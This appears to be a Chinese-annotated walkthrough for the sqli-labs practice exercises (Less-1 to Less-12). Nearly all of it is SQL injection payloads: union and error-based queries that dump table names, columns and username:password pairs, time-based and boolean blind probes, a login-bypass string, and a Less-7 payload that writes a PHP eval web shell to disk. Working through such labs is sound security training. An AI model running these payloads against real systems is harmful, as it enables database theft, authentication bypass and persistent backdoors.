Less-1 Error Based String

Method 1：union注入

?id= 1' --+

?id=1' and 1=2 union select 1,2,3 --+

?id=1' and 1=2 union select 1,2,database() --+

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

?id=1' and 1=2 union select 1,2,group_concat(id,':',username,':',password) from users --+

Method 2:xml报错注入

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.columns where table_schema=database()))) --+

Less-2 Error Based intiger

去掉单引号，相同

Less-3 Error Based Single quotes with twist

id=1’) 其他相同

Less-4 Error Based Double Quotes String

id=1") 其他相同

Less-5 Double Injection Single Quotes String

Methord 1: Timing注入

?id=1' and sleep(20) --+

?id=1' and if(length(database())>1,sleep(5),1) --+

?id=1' and if(left(database(),1)='s',sleep(5),1) --+

?id=1' and if (left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1) --+

?id=1' and if (left((select column_name from information_schema.columns where table_name='users'),1)='a',sleep(5),1) --+

?id=1' and if(left((select passwd from users),1)='s',sleep(5),1) --+

Methord 2:布尔型注入

?id=1' and left((select database()),1)='s'--+

?id=1' and left((select table_name from inforamtion_schema.tables where table_schema=database() limit 0,1),1)='s'--+

?id=1' and left((select column_name from information_schema.columns where table_name='NAME' limit 0,1),1)='s'--+

?id=1' and left((select COLUMN from TABLE limit 0,1 ))='s'--+

Less-6 Double Injection Double Quotes String

?id=1"其他一样

Less-7 Dump into outfile String

?id=1')) and union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "Path" --+

需要mysql开启secure_file_priv功能

Less-8 Blind Boolian based Single Quotes

?id=1' and 1=2--+

?id=1' and 1=1--+

?id=1' and left((select database()),1)='s'--+

?id=1' and Left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='s'--+

可以使用二分法，’=’ ‘<’ ‘>’

Less-9 Blind Time based Single Quote String

?id=1' and sleep(5)--+

?id=1' and if(length(database())=4,sleep(5),1)--+

?id=1' and if(left((select database()),1)='s',sleep(5),1)--+

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database()),1)='s',sleep(5),1)--+

同样可以使用二分法

Less-10 Blind Time based Double Quotes String

?id=1"其他相同

Less-11 Post Error Based Single quotes String

绕过登录

1' or 1=1#

1' and 1=1#

报错注入

1' and extractvalue(1,concat('~',(select database())))#

1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))#

1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='NAME')))#

1‘ and extractvalue(1,concat('~',(select group_concat(COLUMN) from TABLE)))#

union联合查询

1' and 1=2 union select 1,2#

1' and 1=2 union select 1,database()#

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

1' and 1=2 union select 1,group_concat(id,':',username,':',password) from users#

Less-12 POST Error Based Double quotes String with twist

语句为

$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

"报错为
syntax to use near '""") and password=("") LIMIT 0,1' at line 1

")报错为syntax to use near '") and password=("") LIMIT 0,1' at line 1
因此传入后会自动再括号内增加""

联合注入

") and 1=2 union select 1,database()#

") and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

") and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name="name"#
